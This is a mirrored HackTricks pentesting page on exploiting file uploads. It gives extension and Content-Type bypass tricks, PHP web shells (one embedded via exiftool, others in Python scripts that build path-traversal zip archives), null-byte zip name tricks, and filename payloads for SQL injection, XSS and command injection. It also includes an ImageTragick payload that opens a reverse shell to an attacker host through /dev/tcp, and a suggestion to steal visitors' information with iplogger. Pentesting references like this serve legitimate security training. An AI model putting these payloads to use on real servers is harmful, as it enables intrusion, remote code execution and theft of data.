mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
312 lines
20 KiB
Markdown
312 lines
20 KiB
Markdown
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
|
||
# File Upload General Methodology
|
||
|
||
1. Try to upload a file with a **double extension** \(ex: _file.png.php_ or _file.png.php5_\).
|
||
* PHP extensions: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
|
||
* ASP extensions: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_
|
||
2. Try to **uppercase some letter\(s\)** of the extension. Like: _.pHp, .pHP5, .PhAr ..._
|
||
3. Try to upload some **double \(or more\) extension** \(useful to bypass misconfigured checks that test if a specific extension is just present\):
|
||
1. _file.png.php_
|
||
2. _file.png.txt.php_
|
||
4. Try to upload some **reverse double extension** \(useful to exploit Apache misconfigurations where anything with extension _.php_, but **not necessarily ending in .php** will execute code\):
|
||
* _ex: file.php.png_
|
||
5. Double extension with **null character:**
|
||
1. _ex: file.php%00.png_
|
||
6. **Add some especial characters at the end** of the extension_: %00, %20, \(several dots\)...._
|
||
1. _file.php%00_
|
||
2. _file.php%20_
|
||
3. _file.php...... --> In Windows when a file is created with dots at the end those will be removed \(so you can bypass filters that checks for .php as extension\)_
|
||
4. _file.php/_
|
||
5. _file.php.\_
|
||
7. Bypass Content-Type checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||
8. Bypass magic number check by adding at the beginning of the file the **bytes of a real image** \(confuse the _file_ command\). Or introduce the shell inside the **metadata**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
|
||
1. It is also possible that the **magic bytes** are just being **checked** in the file and you could set them **anywhere in the file**.
|
||
9. Using **NTFS alternate data stream \(ADS\)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server \(e.g. “file.asax:.jpg”\). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions \(.e.g. “file.asp::$data.”\)
|
||
10. **Upload** the backdoor with an **allowed extension** \(_png_\) and pray for a **misconfiguration** that executes the backdoor
|
||
11. Find a vulnerability to **rename** the file already uploaded \(to change the extension\).
|
||
12. Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
||
13. **Possible Information disclosure**:
|
||
1. Upload **several times** \(and at the **same time**\) the **same file** with the **same name**
|
||
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
|
||
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
|
||
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. \(Windows\)
|
||
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. \(Windows\)
|
||
6. Upload a file in **Windows** using **reserved** \(**forbidden**\) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||
|
||
Try also to **upload an executable** \(.exe\) or an **.html** \(less suspicious\) that **will execute code** when accidentally opened by victim.
|
||
|
||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}
|
||
|
||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).
|
||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||
|
||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** \(executing it with php, or including it inside a script...\)
|
||
|
||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
||
|
||
**Check a lot of possible file upload vulnerabilities with BurpSuit plugin** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **or use a console application that finds which files can be uploaded and try different tricks to execute code:** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)
|
||
|
||
## **wget File Upload/SSRF Trick**
|
||
|
||
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**
|
||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** \(as in this example **".gif"** is a **valid** extension\) but `wget` will **rename** the file to **"A"\*232+".php"**.
|
||
|
||
```bash
|
||
#Create file and HTTP server
|
||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
python3 -m http.server 9080
|
||
```
|
||
|
||
```bash
|
||
#Download the file
|
||
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
The name is too long, 240 chars total.
|
||
Trying to shorten...
|
||
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
|
||
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
|
||
Connecting to 127.0.0.1:9080... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 10 [image/gif]
|
||
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
|
||
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
|
||
|
||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||
```
|
||
|
||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||
|
||
# From File upload to other vulnerabilities
|
||
|
||
* Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||
* Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||
* Set **filename** to `<svg onload=alert(document.comain)>` to achieve a XSS
|
||
* Set **filename** to `; sleep 10;` to test some command injection \(more [command injections tricks here](command-injection.md)\)
|
||
* [**XSS** in image \(svg\) file upload](xss-cross-site-scripting/#xss-uploading-files-svg)
|
||
* **JS** file **upload** + **XSS** = [**Service Workers** exploitation](xss-cross-site-scripting/#xss-abusing-service-workers)
|
||
* [**XXE in svg upload**](xxe-xee-xml-external-entity.md#svg-file-upload)
|
||
* [**Open Redirect** via uploading svg file](open-redirect.md#open-redirect-uploading-svg-files)
|
||
* [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||
* If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](ssrf-server-side-request-forgery.md). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||
|
||
Here’s a top 10 list of things that you can achieve by uploading \(from [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\):
|
||
|
||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||
2. **SVG**: Stored XSS / SSRF / XXE
|
||
3. **GIF**: Stored XSS / SSRF
|
||
4. **CSV**: CSV injection
|
||
5. **XML**: XXE
|
||
6. **AVI**: LFI / SSRF
|
||
7. **HTML / JS** : HTML injection / XSS / Open redirect
|
||
8. **PNG / JPEG**: Pixel flood attack \(DoS\)
|
||
9. **ZIP**: RCE via LFI / DoS
|
||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||
|
||
# Zip File Automatically decompressed Upload
|
||
|
||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||
|
||
## Symlink
|
||
|
||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||
|
||
```text
|
||
ln -s ../../../index.php symindex.txt
|
||
zip --symlinks test.zip symindex.txt
|
||
```
|
||
|
||
## Decompress in different folders
|
||
|
||
The decompressed files will be created in unexpected folders.
|
||
|
||
One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.
|
||
|
||
An automated exploit to create this kind of files can be found here: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
|
||
|
||
```python
|
||
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||
```
|
||
|
||
Some python code to create a malicious zip:
|
||
|
||
```python
|
||
#!/usr/bin/python
|
||
import zipfile
|
||
from cStringIO import StringIO
|
||
|
||
def create_zip():
|
||
f = StringIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.writestr('otherfile.xml', 'Content of the file')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
|
||
To achieve remote command execution I took the following steps:
|
||
|
||
1. Create a PHP shell:
|
||
|
||
```php
|
||
<?php
|
||
if(isset($_REQUEST['cmd'])){
|
||
$cmd = ($_REQUEST['cmd']);
|
||
system($cmd);
|
||
}?>
|
||
```
|
||
|
||
2. Use “file spraying” and create a compressed zip file:
|
||
|
||
```text
|
||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||
root@s2crew:/tmp# ls *.php
|
||
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||
adding: xxAcmd.php (deflated 40%)
|
||
adding: xxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
root@s2crew:/tmp#
|
||
```
|
||
|
||
3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:
|
||
|
||
```text
|
||
:set modifiable
|
||
:%s/xxA/..\//g
|
||
:x!
|
||
```
|
||
|
||
Done!
|
||
|
||
Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:
|
||
|
||
[](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||
|
||
**Reference**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||
|
||
## Decompress with a different name
|
||
|
||
Sometimes an application will block the loading of a file by checking its extension inside the zip file. If this verification is superficial, ie by checking the name of the file inside the local field header, it can be circumvented by making the application believe that the file has such an extension, whereas it will have another once decompressed.
|
||
|
||
We can reuse the previous script to make a zip file.
|
||
|
||
```python
|
||
#!/usr/bin/python
|
||
|
||
import zipfile
|
||
from cStringIO import StringIO
|
||
|
||
def create_zip():
|
||
f = StringIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
|
||
Note that the name has a space inside of it. Now you can edit the generated zip file with an hex editor, and change this char in the field name placed inside the Central Directory Header by a null byte `00`:
|
||
|
||
```bash
|
||
# before changing the name of the file inside the Central Directory header
|
||
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd
|
||
# after changing the name of the file inside the Central Directory header
|
||
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd
|
||
```
|
||
|
||
When the application will check the filename of the file inside the zip, the name used for this check will be the name of the local file header, **but not if the zip is encrypted** (see the pkzip specification). The name used to store the file will be the name of the central directory header when 7z or unzip see a difference between the two names. Thanks to the null byte, the name will be `shell.php`.
|
||
|
||
When decompressed :
|
||
|
||
```bash
|
||
7z e poc.zip
|
||
ls
|
||
shell.php
|
||
```
|
||
**References**:
|
||
|
||
[https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)
|
||
|
||
[https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
||
|
||
# ImageTragic
|
||
|
||
Upload this content with an image extension to exploit the vulnerability **\(ImageMagick , 7.0.1-1\)**
|
||
|
||
```text
|
||
push graphic-context
|
||
viewbox 0 0 640 480
|
||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||
pop graphic-context
|
||
```
|
||
|
||
# Embedding PHP Shell on PGN
|
||
|
||
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) and [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||
|
||
Read this post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
|
||
# Polyglot Files
|
||
|
||
Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a [GIFAR](https://en.wikipedia.org/wiki/Gifar) is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.
|
||
|
||
Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.
|
||
|
||
This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file \(PHp ARchive\) that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.
|
||
|
||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|